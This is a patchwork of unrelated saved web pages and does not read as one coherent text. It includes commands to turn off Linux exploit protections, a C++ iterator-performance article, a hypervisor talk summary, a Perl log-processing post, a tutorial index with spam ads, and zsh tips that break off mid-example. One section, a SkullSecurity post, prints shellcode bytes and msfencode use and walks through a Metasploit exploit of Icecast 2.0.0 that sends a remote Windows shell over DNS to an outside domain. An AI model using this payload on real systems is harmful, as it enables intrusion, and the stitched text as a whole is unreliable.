_\*\*\* Note: if the GNU\_STACK marking is missing then the stack is
executable \*\*\*_  
  
**_o Buffer & Format String Vulnerability Checks / -D\_FORTIFY\_SOURCE_ **  
  
Fortify source protection should be disabled by default, but if you have a
distro that does something different you can disable it with:  
  

#### Code:

[code]

     
    mike@quazi(/tmp):$ gcc -O1 -D_FORTIFY_SOURCE=0 -o sts sts.c
            
[/code]

If a binary is compiled with -D\_FORTIFY\_SOURCE=n  
_n = 2 / format srings \(%n\) and buffer checks_  
_n = 1 / buffer overflow checks only_  

#### Code:

[code]

    mike@quazi(/tmp):$ gcc -O1 -D_FORTIFY_SOURCE=2 -o sts sts.c
    sts.c: In function 'main':
    sts.c:12: warning: call to __builtin___strcpy_chk will always
    overflow destination buffer
    mike@quazi(/tmp):$ ./sts
    Stack Smashing @ Home
    *** buffer overflow detected ***: ./sts terminated
    ======= Backtrace: =========
    /lib/libc.so.6(__chk_fail+0x44)[0xb7f56944]
    /lib/libc.so.6(__strcpy_chk+0x3d)[0xb7f55e3d]
    ./sts[0x80483e2]
    /lib/libc.so.6(__libc_start_main+0xd8)[0xb7e87df8]
    ./sts[0x8048331]
    ======= Memory map: ========
    08048000-08049000 r-xp 00000000 03:01 6045744    /tmp/sts
    08049000-0804a000 rw-p 00000000 03:01 6045744    /tmp/sts
    0804a000-0806b000 rw-p 0804a000 00:00 0          [heap]
    b7e71000-b7e72000 rw-p b7e71000 00:00 0
    b7e72000-b7fae000 r-xp 00000000 03:01 2916420    /lib/libc-2.5.so
    b7fae000-b7faf000 r--p 0013c000 03:01 2916420    /lib/libc-2.5.so
    b7faf000-b7fb1000 rw-p 0013d000 03:01 2916420    /lib/libc-2.5.so
    b7fb1000-b7fb4000 rw-p b7fb1000 00:00 0
    b7fc4000-b7fce000 r-xp 00000000 03:01 4784221   
    /usr/lib/libgcc_s.so.1
    b7fce000-b7fcf000 rw-p 00009000 03:01 4784221   
    /usr/lib/libgcc_s.so.1
    b7fcf000-b7fd1000 rw-p b7fcf000 00:00 0
    b7fd1000-b7fec000 r-xp 00000000 03:01 2916462    /lib/ld-2.5.so
    b7fec000-b7fee000 rw-p 0001b000 03:01 2916462    /lib/ld-2.5.so
    bfb91000-bfba6000 rw-p bfb91000 00:00 0          [stack]
    ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]
    Aborted
    mike@quazi(/tmp):$ objdump -d sts | grep _chk
    080482e4 <__strcpy_chk@plt>:
     80483dd:       e8 02 ff ff ff          call   80482e4
    <__strcpy_chk@plt>
            
[/code]

**::: KERNEL LEVEL PROTECTIONS :::**  
  
_**o Address Space Layout Randomization \(ASLR\)** _  
  
ASLR is in vanilla linux kernels >= 2.6  
  
to disable it:  

#### Code:

[code]

    root@quazi(/tmp):# echo 0 > /proc/sys/kernel/randomize_va_space
            
[/code]

or  

#### Code:

[code]

    root@quazi(/tmp):# /sbin/sysctl -w kernel.randomize_va_space=0
            
[/code]

and if you only want ASLR disabled for each invokation use setarch\(8\) \(may
not be installed in your distro\):  

#### Code:

[code]

    mike@quazi(/tmp):$ /usr/sbin/setarch i686 -R ./sts
            
[/code]

_**o Exec-Shield** _  
  
In order to disable exec-shield:  
  

#### Code:

[code]

    root@quazi(/tmp):# echo 0 > /proc/sys/kernel/exec-shield
    root@quazi(/tmp):# echo 0 >
    /proc/sys/kernel/exec-shield-randomize
            
[/code]

or  

#### Code:

[code]

    root@quazi(/tmp):# /sbin/sysctl -w kernel.exec-shield=0
    root@quazi(/tmp):# /sbin/sysctl -w kernel.exec-shield-randomize=0
            
[/code]

_\*\*\* Note: if you want to maintain the sysctl\(8\) changes after a reboot
add them to sysctl.conf \*\*\*_  
  
SOURCE: sts.c  

#### Code:

[code]

    mike@quazi(/tmp):$ cat sts.c
    #include <stdio.h>
    #include <string.h>
    
    int
    main(void)
    {
      int a = 1;
      char buf[4];
      char* ptr;
    
      printf("Stack Smashing @ Home\n");
      strcpy(buf, "rehsams");
    
      return(0);
    }
            
[/code]

That should get you going. If I missed something feel free to point it out
<img src='img/Temp2_7573.png' width='15' height='15' alt='smile' /> a little
too much heffevisen in my system right now.  
  
**References:**  
  
\[+\]  http://www.trl.ibm.com/projects/security/ssp/main.html  
\[+\] http://www.linux.org.uk/~ajh/gcc/gccsum … edings.pdf  
\[+\] http://gcc.gnu.org/gcc-4.1/changes.html  
\[+\] http://www.linux.com/feature/29186  
\[+\] http://www.redhat.com/magazine/009jul05 … ld/\#checks

# Is it reasonable to use the prefix increment operator ++it instead of
postfix operator it++ for iterators?

**Created:**| _4/7/2012 11:19:13 AM_  
---|---  
**Updated:**| _4/7/2012 11:19:13 AM_  
**Author:**| __  
**Tags:**| _C++ programming iterators_  
  

# Is it reasonable to use the prefix increment operator ++it instead of
postfix operator it++ for iterators?

13.02.2011 Andrey Karpov

I decided to find out if there is practical sense in writing ++iterator
instead of iterator++ when handling iterators. My interest in this question
arouse far not from my love to art but from practical reasons. We have
intended for a long time to develop PVS-Studio not only in the direction of
error search but in the direction of prompting tips on code optimization. A
message telling you that you'd better write ++iterator is quite suitable in
the scope of optimization.

But how much relevant is this recommendation nowadays? In ancient times, for
instance, it was advised not to repeat calculations. It was a good manner to
write:

TMP = A + 10;

X = TMP + B;

Y = TMP + C;

instead of

X = A + 10 + B;

Y = A + 10 + C;

Such subtle manual optimization is meaningless now. The compiler would handle
this task as well. It's just unnecessary complication of code.

Note for pedantic ones. Yes, you'd better not repeat calculations and
calculate long expressions, which are used several times, separately. What I'm
talking about is that there is no reason in optimizing simple cases like the
one I have mentioned.

Well, we have digressed from our main point which is the question if the
advice to use the prefix increment instead of postfix increment for operators
is obsolete nowadays; if we should store our mind with one more subtle thing.
Perhaps the compiler learned to optimize prefix increments long ago.

A bit of theory at first for those who are not familiar with the topic. All
the rest may scroll the text a bit.

The prefix increment operator changes an object's state and returns itself in
the changed form. The prefix increment operator in the iterator class to
handle std::vector may look this way:

[code]

    _Myt& operator++()
    { // preincrement
      ++_Myptr;
      return (*this);
    }
[/code]

The situation with the postfix increment is more complicated. The object's
state must change but it is the previous state which is returned. An
additional temporary object is created:

[code]

    _Myt operator++(int)
    { // postincrement
      _Myt _Tmp = *this;
      ++*this;
      return (_Tmp);
    }
[/code]

If we want to just increment the iterator's value, it turns out that the
prefix operator is more preferable. That is why, here you are one of the tips
concerning software micro-optimization: write "for \(it = a.begin\(\); it \!=
a.end; ++it\)" instead of "for \(it = a.begin\(\); it \!= a.end; it++\)". In
the latter case, an unnecessary temporary object is created, which reduces
performance.

You may read about all this in detail in the book by Scott Meyers "Efficient
use of C++. 35 new recommendations on improving your programs and projects"
\(Rule 6. Distinguish between prefix increment and decrement operators\)
\[1\].

The theory is over. Now practice. Is there sense in replacing the postfix
increment with the prefix one in code?

[code]

    size_t Foo(const std::vector<size_t> &arr)
    {
      size_t sum = 0;
      std::vector<size_t>::const_iterator it;
      for (it = arr.begin(); it != arr.end(); it++)
        sum += *it;
      return sum;
    }
[/code]

I know that we may wander into the depths of philosophy now. Say, it may turn
out that some other class would become the container instead of vector and
iterators in this new class would be very complex and heavy; when copying the
iterator, we would have to establish a new connection to the database and so
on. So, you must always write ++it.

But it's theory. But in practice, when we encounter such a loop in our code,
is it reasonable to replace it++ with ++it? Cannot we rely on the compiler
that will guess itself that it can throw away an unnecessary iterator?

The answers are strange but the reason why we give them will become evident
through further experiments.

Yes, we must replace it++ with ++it.

Yes, the compiler will optimize the code and it won't matter what increment we
use.

I chose an "average compiler" and created a test project for Visual Studio
2008. It has two functions which calculate the sum using it++ and ++it and
also estimates their running time. You may download the project here. Here is
the code of functions the speed of which was measured:

1\) Postfix increment. iterator++.

[code]

    std::vector<size_t>::const_iterator it;
    for (it = arr.begin(); it != arr.end(); it++)
      sum += *it;
[/code]

2\) Prefix increment. ++iterator.

[code]

    std::vector<size_t>::const_iterator it;
    for (it = arr.begin(); it != arr.end(); ++it)
      sum += *it;
[/code]

Working time in the Release version:

iterator++. Total time : 0.87779

++iterator. Total time : 0.87753

This is the answer to the question if the compiler can optimize the postfix
increment. Sure it can. If you study the implementation \(assembler code\),
you will see that the both functions are implemented with the same instruction
set.

Now let's answer the question what for we should replace it++ with ++it then.
Let's measure the speed of functions in the Debug version:

iterator++. Total time : 83.2849

++iterator. Total time : 27.1557

There is practical sense in writing the code so that it slows down only 30
times and not 90 times.

Of course, the speed of Debug versions is not so crucial for many programmers.
But if a program does something for a long time, sure such a large slow-down
might be crucial, for instance, from the viewpoint of unit-tests. So, it is
reasonable to optimize the speed of the Debug version.

I carried out one more experiment to find out what I would get using the good
old size\_t for indexing. I know it doesn't relate to the topic we are
discussing and I understand that we cannot compare iterators with indexes and
that the former are higher-level entities. But still I wrote and measured the
speed of the following functions just out of curiosity:

1\) Classic index of the size\_t type. i++.

[code]

    for (size_t i = 0; i != arr.size(); i++)
      sum += arr[i];
[/code]

2\) Classic index of the size\_t type. ++i.

[code]

    for (size_t i = 0; i != arr.size(); ++i)
      sum += arr[i];
[/code]

The speed in the Release version:

iterator++. Total time : 0.18923

++iterator. Total time : 0.18913

The speed in the Debug version:

iterator++. Total time : 2.1519

++iterator. Total time : 2.1493

As we had expected, the speeds of i++ and ++i coincided.

Note. Code with size\_t works faster in comparison to iterators due to absence
of array overrun check. We can make the loop with iterators as fast in the
Release version by adding the line "\#define \_SECURE\_SCL 0".

To make it easier for you to evaluate the results of speed measurements, I
present them in the table \(Figure 1\). I have converted the results taking
the running time of Release version with iterator++ for a unit. I also rounded
them off a bit to make them clearer.

<img src='img/Temp2_4615.png' alt='Figure 1. The running time of sum
calculation algorithms.' />

Figure 1. The running time of sum calculation algorithms.

Each one of you can draw your own conclusions. They depend upon tasks you are
solving. Personally I came to the following conclusions:

  * I made sure that it is reasonable to perform such micro-optimization. We should implement the search of postfix increment iterators in PVS-Studio when their previous states are not used. Some programmers will find this functionality useful. All the rest can disable it in the settings if they don't need it. 
  * I will always write ++it. I did so before but I did it "just in case". Now I can see how useful it is because I regularly launch debug versions. In general, of course, ++it has a very slight influence on the running time. But if I don't make such small optimizations in different places of the code, it will be too late and the profiler won't help me. Bottlenecks will be spread throughout the code.
  * I notice that the PVS-Studio analyzer is spending more and more time inside various functions of std::vector, std::set, std::string classes and the like. This time is growing more and more because new diagnostic rules appear - and it is quite convenient for us to write them using STL. So, I think - hasn't that frightful time come when the program acquires its own specialized string classes, array classes and so on. Well, it is just my cares... Don't listen to me\! I tell people seditious things... Sh\!..

P. S.

Someone will say now that untimely optimization is evil \[2\]; when you need
optimization, you take the profiler and search for bottlenecks. I know this.
And I got rid of certain bottlenecks long ago. But when I'm waiting for the
tests to finish for 4 hours, I start thinking that it is a very good idea to
gain at least 20% of speed. Such optimization is comprised of iterators,
structure sizes, avoiding using STL or Boost in some fragments and so on. I
believe that some developers agree with me.

## References

  * Meyers, Scott. More Effective C++: 35 New Ways to Improve Your Programs and Designs. Addison-Wesley, Reading, Mass., 1996. ISBN-10: 020163371X. ISBN-13: 9780201633719.
  * Randall Hyde. The Fallacy of Premature Optimization. http://www.viva64.com/go.php?url=660

# JVM memory model | Coding Geek
**Created:**| _10/16/2018 5:31:30 PM_  
---|---  
**Updated:**| _10/16/2018 5:31:30 PM_  
**Author:**| __  
**Tags:**| __  
  

JVM memory model

# n0secure.org - Sécurité Informatique: Virtualisation d'un poste physique
depuis le boot

**Created:**| _6/9/2011 11:05:51 AM_  
---|---  
**Updated:**| _6/9/2011 11:05:51 AM_  
**Author:**| __  
**Tags:**| _attacks USB virtusalisation_  
  

### Virtualisation d'un poste physique depuis le boot

<img src='img/SAM_0084.JPG' />  
Virtualisation d'un poste physique depuis le boot  
  
ramooflax \(déjà le nom de l'outil déchire \!\!\!\) vu qu'ils n'ont pas trouvé
d'hyperviseur leur convenant... ils ont tout refait \!  
  
avec une approche façon remote-debugging, un hyperviseur ultra-light basé sur
les instructions spécialisés VT d'intel<img
src='img/Martine%2Bau%2BSSTIC%2B2011.png' /> ou AMD V... l'intéret est de
pouvoir virtualiser TOUT, bios compris... mais c'est un sacré challenge vu les
différences entre les deux jeux d'instruction spécialisé \(concurrence oblige,
ils ne veulent pas être inter-opérables\). après il y a beaucoup de problèmes
lié à la virtualisation matérielle \(SMM, Mode réel 16bit des cpu intel...
encore le legacy, et une première forme de virtualisation matérielle comme le
signale l'auteur\).  
  
s'en suit pas mal de détails techniques \(si si\) sur les techniques de
virtualisation hardware et les problématiques de gestion des accès mémoire en
mode réel... pour protéger l'hyperviseur / l'OS.  
  
là on découvre le mode irréel 16bit, un trick utilisé par les auteurs de BIOS,
et qui n'est pas virtualisable avec les instruction VT \(ça crash, intel
FAIL\!\) . Et donc dans les nouvelles génération d<img src='img/SAM_0085.JPG'
/>es cpu intel, ils ont ajouté un mode Unrestricted Guest pour pouvoir
virtualiser ce mode réel correctement. Donc il faut du pure matos pour faire
tourner ramooflax :\)  
  
Pour ce qui est du contrôle à distance de l'hyperviseur, il a fallu trouver un
composant "universel" pour communiquer entre la machine de virtualisation et
la machine de contrôle. L'USB est venu à leur rescousse, en utilisant les
ports usb hybrides qu'on peut trouver sur les smartphones. L'interface à donc
été développée à partir d'une carte de developpement arm. Et ils ont en suite
développé un stub GDB avec des extensions spécifiques pour ramooflax pour
faciliter l'analyse.  
  
  
"on peut pas intercepter sysenter et sysexit chez intel parce que c'est
vraiment une bande de nazes" \(lol\)

# Perl-Fu: Regexp log file processing « SANS Computer Forensics,
Investigation, and Response

**Created:**| _5/26/2009 3:53:38 PM_  
---|---  
**Updated:**| _5/26/2009 3:53:47 PM_  
**Author:**| __  
**Tags:**| _perl Forensics_  
  

## Perl-Fu: Regexp log file processing

### By Michael Worman

Remember that with Perl the key benefit is the ability to easily implement
almost any kind of input/output processing system one might need or conceive,
without the need for a lot of code or time in development. When you are faced
with massive amounts of data and a small amount of analytical time, this
agility is critical. I will not be teaching regular expression syntax but
there are countless primers and resources on the web for this, and they almost
universally apply to languages/interpreters other than Perl, including our
favorite command line tool,  _grep_. Consider the following code:

[code]

    #!/usr/bin/perl
    # UserSplit.pl
    # Creates user-specific files from a single log file based on the field “User=”
    $logfile = $ARGV[0];
    open(LOG, "<$logfile") or die "Usage: UserSplit.pl<filename>\n";
     
[/code]

[code]

    print "Processing $logfile...\n";
    while (<LOG>) {
     if (/User\=(\w+)/i) {
     open (USERFILE, ">>$1.$logfile.log");
     print USERFILE $_;
     close USERFILE;
     }
    }
    close LOG;
    
[/code]

It accepts a log file at the command line \(e.g. “UserSplit.pl
logfile.20090511”\) and for each time the string “ _User=_ ” appears in the
file it will initially create and then append to a new log file all the
original log entries specific to that username. For example, if my username in
these logs were “ _mworman_ ”, a file would be created named
_mworman.logfile20090511.log_. This new file would contain every instance of
“User=mworman” as well as any words/strings that appears after it, for every
line in the original log file. I’ve now accomplished multiple things at once:

  * I’ve calculated the unique number of usernames in the file, i.e. the number of new files created.
  * I’ve created a re-usable, “greppable” file for each user, allowing me to perform calculations for any subset of them. For example I can immediately see which users had the most/least activity based on file sizes, I can use “ _diff_ ” to compare any subset, etc.
  * I’ve ensured date synchronization between the original log file and the new set of files by re-using the date. When grinding data down from the petabyte and terabyte levels to something more manageable, this kind of thing becomes really important for maintaining your sanity as well as the integrity of your analysis.
  * I can reuse this code for patterns other than “ _User=_ ” simply by altering the regular expression.

It may not look like much, but this little script is very useful and is
something I wrote to separate the User fields in the logs of a Symantec
appliance into a set of user-specific activity files. Other than the regular
expression in the IF statement, this script is very similar to the one I
posted a few weeks back. While one reader correctly pointed out that that
script could have been replaced with single  _grep_ command \(and in most
cases, depending on your command line powers this is always possible but not
always practical or wise\), this script is just as simple but far more
powerful and extensible for analytical purposes. Again, the matching pattern
\(“User=”\) could literally be changed on the fly to any regular expression,
including

  * IP addresses:

\(`b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/)`

  * Visa Credit Card Numbers:

\(`^4[0-9]{12}(?:[0-9]{3})?$)`

  * Valid Social Security Numbers:

\(^\(?\!000\)\(\[0-6\]\d\{2\}|7\(\[0-6\]\d|7\[012\]\)\)\(\[
-\]?\)\(?\!00\)\d\d\3\(?\!0000\)\d\{4\}$\)

What else can we do? The sky is the limit, folks. Does the input to this
process have to be a static text file? No, in fact I have a similar script
\(barely twice the size of this one\) that scans a given list of IP
addresses/hostnames and generates a text file with the hostname->Windows
username pairs for each system with a currently logged on user \(this uses a
Perl NetBIOS module available from cpan.org, your best one-stop repository for
Perl development\).

Adding simple TCP/IP functionality to scripts like this starts to move us into
the area of “banner grabbing” and network scanning, and sure enough, many
popular network scanners \(e.g. Nessus\) began as glorified Perl scripts that
iterated pattern matching across lists of network hosts or subnets.

Once you get the basics of Perl and regular expressions down, a trip to
CPAN.org will show you just how much re-usable code is out there: modules for
everything from Windows to Samba to UNIX to things like LED.pm:

_“Provides an interface for turning the front LED on Apple laptops running
Linux on and off. The user needs to open _ _/dev/adb and print either `ON` or
`OFF` to it to turn the led on and off, respectively.”_

Whether or not turning the LED on Apple laptops is a forensic necessity is an
exercise left to the reader. Or, maybe someone now sees Perl as an instrument
they can use to access and analyze devices in ways they hadn’t thought
possible before. The sky is the limit folks.

A  _gracious_ thanks to GCFA Rod Caudle who just reminded me of the the BEST
tool for regular expression development \(which is really an art of it’s own\)
I have ever used.  RegexCoach is a tool someone introduced to me years ago and
it is priceless for playing with regexps and tweaking them to get the right
one you are looking for. It includes the ability to provide test strings to
ensure your regexp matches and will sytax-color portions of the test string
that do match, etc, greatly speeding up development time. Having easily spent
more time figuring out complex regular expressions than actually writing Perl
code wrapping them, I couldn’t plug this utility enough even though I’d
forgotten about it the last ten years or so. Thanks Rod\!

_Mike Worman, GCFA Gold \#124, GCIA Gold \#282, is an incident response,
forensics, and information security subject matter expert for an international
telecommunications carrier. He holds a BS in Computer Systems Engineering from
the University of Massachusetts, an MS in Information Assurance from Norwich
University, and is CISSP-certified._

This entry was written by mworman and posted on May 26, 2009 at 7:25 am and
filed under Computer Forensics, Evidence Analysis. Bookmark the permalink.
Follow any comments here with the RSS feed for this post. Trackbacks are
closed, but you canpost a comment.

  *[May 26, 2009 at 7:25 am]: 2009-05-26T07:25:31+0000

# ZetCode, tutorials for programmers

**Created:**| _1/13/2010 11:28:22 AM_  
---|---  
**Updated:**| _1/13/2010 11:28:29 AM_  
**Author:**| __  
**Tags:**| _bookmark Tutorials programming_  
  

<img src='img/Temp2_10040.jpg' />

<img src='img/Temp2_10041.jpg' />

  
**Ads**  
Failed RAID Data Recovery BlackBerry Accessories HTC Hero Accessories  
Best Hindi Jokes Collection orange county criminal defense attorney Exin
Certification  
cheap cigarettes store LG Chocolate Touch Accessories houston movers

### Ebooks

Java Swing layout management  

### Tutorials

wxWidgets tutorial GTK\# tutorial  
wxPython tutorial IronPython Mono Winforms tutorial  
PyQt4 tutorial PyGTK tutorial  
Java Swing tutorial Visual Basic GTK\# tutorial  
MySQL C API tutorial Visual Basic Winforms tutorial  
Cairo graphics tutorial Java SWT tutorial  
Java EE 5 tutorials Ruby GTK tutorial  
GTK+ tutorial Ruby Qt tutorial  
Qt4 tutorial SQLite tutorial  
Python tutorial SQLite PHP tutorial New  
Java 2D games tutorial  
Java 2D tutorial  
Mono C\# Winforms tutorial  
Java Gnome tutorial  
QtJambi tutorial  
Qyoto C\# tutorial  
Winapi \(Win32 API\) tutorial  
Qyoto Visual Basic tutorial  

### Articles

Writing a package in Python  
The Oracle JDeveloper IDE  
Installing Qt4 on Linux  
Installing .NET Framework on Windows XP  
C/C++ development in Netbeans IDE  
C/C++ development in Eclipse IDE  
Python development in NetBeans IDE  
  

### News

SQLite PHP tutorial \(December 4, 2009\)  
German PyQt4 tutorial translation \(November 23, 2009\) by Manuel Stein  
SQLite tutorial \(November 18, 2009\)  
Ruby Qt tutorial finished\! \(July 9, 2009\)  
Ruby GTK tutorial finished\! \(June 28, 2009\)  
Java SWT tutorial finished\! \(June 17, 2009\)

  
  

### Coming soon

PHP, databases, PyQt4 ebook, PyQt4 tutorial update  
  
  

### Plans

KDE4 Gnome C\# Mono Pygame GStreamer OpenGL Winelib FLTK LaTeX  
Assembler Java Linux C C++ PHP Ruby Algorithms Device drivers Irrlicht
Databases  
Visual Basic WPF Krita Gimp Inkscape Blender OpenOffice  
  

Support ZetCode

<img src='img/Temp2_10042.jpg' width='1' height='1' />

Last updated December 4, 2009 © 2007 - 2010 Jan Bodnar contact:
vronskij\(at\)gmail.com

# SkullSecurity » Blog Archive » Weaponizing dnscat with shellcode and
Metasploit

**Created:**| _3/19/2010 3:36:20 AM_  
---|---  
**Updated:**| _3/19/2010 3:36:40 AM_  
**Author:**| __  
**Tags:**| _shellcode bookmark Exploit Metasploit Tutorials_  
  

## Weaponizing dnscat with shellcode and Metasploit

Filed under: DNS, Hacking, Tools

Hey all,

I've been letting other projects slip these last couple weeks because I was
excited about converting dnscat into shellcode \(or "weaponizing dnscat", as I
enjoy saying\). Even though I got into the security field with reverse
engineering and writing hacks for games, I have never written more than a
couple lines of x86 at a time, nor have I ever written shellcode, so this was
an awesome learning experience. Most people start by writing shellcode that
spawns a local shell; I decided to start with shellcode that implements a
dnscat client in under 1024 bytes \(for both Linux and Windows\). Like I
always say, go big or go home\!  
  
If you just want to grab the files, here are some links:

  * Win32 shellcode - assembler
  * Win32 shellcode - binary
  * Win32 shellcode - C array
  * Win32 Metasploit module
  * Linux shellcode - assembler
  * Linux shellcode - binary
  * Linux shellcode - C array

If you want to get your hands dirty, you can compile the source -- right now,
it's only in svn:

[code]

    svn co http://svn.skullsecurity.org:81/ron/security/nbtool
    cd nbtool
    make
    
[/code]

That'll compile both the standard dnscat client/server and, if you have nasm
installed, the Linux and Windows shellcodes. On Windows, you'll need nasm to
assemble it. I installed Cygwin, but you can compile the Windows shellcode on
Linux or vice versa if you prefer. The output will be in
samples/shellcode-\*/. A .h file containing the C version will be generated,
as well:

[code]

    $ head -n3 dnscat-shell-test.h
    char shellcode[] =
            "\xe9\xa2\x01\x00\x00\x5d\x81\xec\x00\x04\x00\x00\xe8\x4e\x03\x00"
            "\x00\x31\xdb\x80\xc3\x09\x89\xef\xe8\x2e\x03\x00\x00\x80\xc3\x06"
    ...
    
    
[/code]

And, of course, the raw file is output \(without an extension\), that can be
run through msfencode or embedded into a script:

[code]

     $ make
    [...]
    $ wc -c samples/shellcode-win32/dnscat-shell-win32
    997 samples/shellcode-win32/dnscat-shell-win32
    $ wc -c samples/shellcode-linux/dnscat-shell-linux
    988 samples/shellcode-linux/dnscat-shell-linux
    
    
[/code]

Unless you want to be sending your cmd.exe \(or sh\) shell to
skullseclabs.org, you'll have to modify the domain as well -- the very last
line in the assembly code for both Windows and Linux is this:

[code]

    get_domain:
     call get_domain_top
     db 1, 'a' ; random
     db 12,'skullseclabs' ; <-- To modify domain, change this...
     db 3,'org' ; <-- and this. The number is the section length.
     db 0
    
    
[/code]

The two lines with the domain have to be changed. The number preceding the
name is, as the comment says, the length of the section \('skullseclabs' is 12
bytes, and 'org' is 3 bytes\). This process is automated with the Metasploit
payload, as you'll see.

## Encoding with msfencode

msfencode from the Metasploit project is a beautiful utility. I highly
recommend running shellcode through it before using it. The most useful aspect
with shellcode is, at least to me, the ability to eliminate characters. So, if
I need to get rid of \x00 \(null\) characters from my strings, it's as easy
as:

[code]

    $ msfencode -b "\x00" < dnscat-shell-win32 > dnscat-shell-win32-encoded
    [*] x86/shikata_ga_nai succeeded with size 1024 (iteration=1)
    
    
[/code]

If you're planning on using this in, for example, Metasploit, you don't have
to worry about the msfencode step -- it'll do that for you.

## Metasploit payload

Speaking of metasploit, yes\! I wrote a metasploit payload for dnscat.

First, there are a number of caveats:

  * This is highly experimental
  * This doesn't have a proper "exitfunc" call -- it just returns and probably crashes the process
  * This is set up as a single stage, right now, and is 1000 or so bytes -- as a result, it won't work against most vulnerabilities
  * The dnscat server isn't part of Metasploit, yet, so you'll have to compile run it separately

That being said, it also works great when it's usable. The target I use for
testing is Icecast 2 version 2.0.0 \(WARNING: don't install vulnerable
software on anything important\!\), which is included on the SANS 560 and 504
CDs \(thanks Ed\!\). It's free, GPL, reliable, and has 2000 bytes in which to
stuff the payload.

So, the steps you need to take are,

  1. Install Icecast2 on your victim machine \(Win32\)
  2. Download the experimental dnscat Metasploit module and put it in your Metasploit directory \(modules/payloads/singles/windows/\)
  3. Fire up a dnscat server on your authoritative DNS server \(`dnscat --listen`\) -- see the dnscat wiki for more information
  4. Run Metasploit \(`msfconsole`\) and enter the following commands:
  5. 
[code]    msf > use exploit/windows/http/icecast_header

    
    msf exploit(icecast_header) > set PAYLOAD windows/dnscat-shell-win32
    PAYLOAD => windows/dnscat-shell-win32
    
    msf exploit(icecast_header) > set RHOST 192.168.1.221
    RHOST => 192.168.1.221
    
    msf exploit(icecast_header) > set DOMAIN skullseclabs.org
    DOMAIN => skullseclabs.org
    
    msf exploit(icecast_header) > exploit
    [*] Exploit completed, but no session was created.
    
    
[/code]

Meanwhile, on your dnscat server, if all went well, you should see:

[code]    $ sudo ./dnscat --listen

    Waiting for DNS requests for domain '*' on 0.0.0.0:53...
    Switching stream -> datagram
    Microsoft Windows [Version 5.2.3790]
    (C) Copyright 1985-2003 Microsoft Corp.
    
    C:\Program Files\Icecast2 Win32>
    
    
[/code]

You can type commands in, and they'll run just like a normal shell. Be warned,
though, that it is somewhat slow, due to the nature of going through DNS.

## Why bother?

The big advantage to this over traditional shellcode is that no port, whether
inbound or outbound, is required\! As long as the server has a DNS server set
that will perform recursive lookups, it'll work great\!

## Feedback

As I said, this is the first time I've ever written shellcode or x86. I'm sure
there are lots of places where it could be significantly improved, and I'd
love to hear feedback from the folks who really know what they're doing and
can help me improve my code.

Thanks\!

  

# Zsh Tips, Tricks and Examples by zzapper

**Created:**| _5/22/2011 9:54:56 PM_  
---|---  
**Updated:**| _5/22/2011 9:55:02 PM_  
**Author:**| __  
**Tags:**| _zsh_  
  

## Zzappers Best of ZSH Tips

zzappers Tips Home

  

Updated : 24Feb11 \*N\* Marks New \*C\* Corrected

[code]

    > zsh -fx   # start a "clean" version of zsh (without your startup files)
    print $ZSH_VERSION
    http://zshwiki.org/
    http://www.zsh.org/mla/ Searchable Mailing List Archive
    http://grml.org/zsh/zsh-lovers.html 
    http://zsh.sunsite.dk/Doc/Release/zsh_toc.html  Everything?
    Zsh-Reference-Card *N*
    man zsh
    man zshall
    
    
[/code]

* * *
[code]

    zsh          Zsh overview (this section)
    zshmisc      Anything not fitting into the other sections
    zshexpn      Zsh command and parameter expansion
    zshparam     Zsh parameters
    zshoptions   Zsh options
    zshbuiltins  Zsh built-in functions
    zshzle       Zsh command line editing
    zshcompwid   Zsh completion widgets
    zshcompsys   Zsh completion system
    zshcompctl   Zsh completion control
    zshmodules   Zsh loadable modules
    zshzftpsys   Zsh built-in FTP client
    zshall       Meta-man page containing all of the above
    
    
[/code]

* * *
[code]

    /usr/share/zsh/htmldoc/zsh_toc.html
    
    
[/code]

* * *
[code]

    Global aliases
    Searching and filtering my mysql database with my own utility searchdb
    >searchdb client1 | grep -i website1 | fmt -50 | putclip
    How you can simplify this using 3 zsh Global Aliases 
    >searchdb client1 G website1 F P
    alias -g ND='*(/om[1])' # newest directory
    alias -g NF='*(.om[1])' # newest file
    Example of use
    cp NF ND
    
    
    
[/code]

* * *
[code]

    # useful zsh stuff *N*
    ls *(.)           # list just regular files *N*
    ls *(/)           # list just rectories *N*
    vi *(.om[1])      # vi newest file
    vi -p *(.om[1,3]) # open 3 newest files in tabs (gvim)
    vi *(m0)          # re-edit all files changed today!
    ls *(^m0)         # files NOT modified today
    ls -l *(m4)       # list files modified exactly 4 days ago
    ls -l *(.m4)      # list files modified exactly 4 days ago (ignore directories)
    vi **/main.php    # where ever it is in hierarchy
    ls -l **/main.{php,js,css}    #    *N*
    ls fred^erick*    # list all files fred* except frederick*    *N*
    ls *.^pdf         # list all but pdf's *NN*
    ls (x*~x[3-5])    # list files x* except x3 to x5
    ls **/*~*/.git/*  # ignore all git subdirectories *~* matches a path *N*
    vi !$             # vi last parameter
    vi !-2:2          # second parameter of second but last command
    vi !$:r.php       # vi last parameter but change extension to .php
    ^php^cfm          # modify previous command (good for correcting spellos)
    ls *(.L0)         # list pesky empty files (yes that is a zero) *N*
    ls -l *(L-2)      # list file size less than 2 bytes *N*
    ls -l *(.L-20)    # list file size less than 20 bytes - . ignore directories *N*
    ls -l *(Lk+100)   # list file size greater than 100kb *N*
    ls -l *(Lm+2)     # list file size greater than 2 mbs *N*
    
    
    
[/code]

* * *
[code]

    !!
    !$ (last argument)
    !$:h (last argument, strip one level)
    !$:h:h (last argument, strip two levels)
    !?echo
    vi !* (all parameters)
    vi !$ (last parameter)
    vi !^  (first previous parameter)
    vi !:1 (first previous parameter)
    vi !-2:2 (second parameter of second but last command)
    
    history               # View recent commands
    !42                   # Re-execute history command 42
    
    
    
[/code]

* * *
[code]

    # substitute previous command
    r oldstr=newstr
    !!:s/fred/joe/        # edit previous command replace first fred by joe
    !!:s/fred/joe/        # Note : sadly no regexp available with :s///
    !!:gs/fred/joe/       # edit previous command replace all fred by joe
    mv Licence\ to\ Print\ Money.pdf !#^:gs/ //  # rename file removing spaces
    ^fred^joe             # edit previous command replace fred by joe
    ^str1^str2^:u:p       # replace str1 by str2 change case and just display
    echo chim
    ^chim^&-&ney-&-&-cheree # reuse LHS
    !42:p
    also use control-R
    ^str1^str2^:G         # replace as many as possible
    
    cd !?ls<TAB>   #get command and parameters of a previous ls command
    cd !?ls?:*<TAB>   #get (just) parameters of a previous ls command
    
    
[/code]

* * *
[code]

    Generating a command from an earlier one
    How to recall the parameters of a previous command, on line 7 below
    recall the parameters of line 5
    
    5> mv somefile1 /home/saket/stuff/books/
    6> acroread somefile.pdf
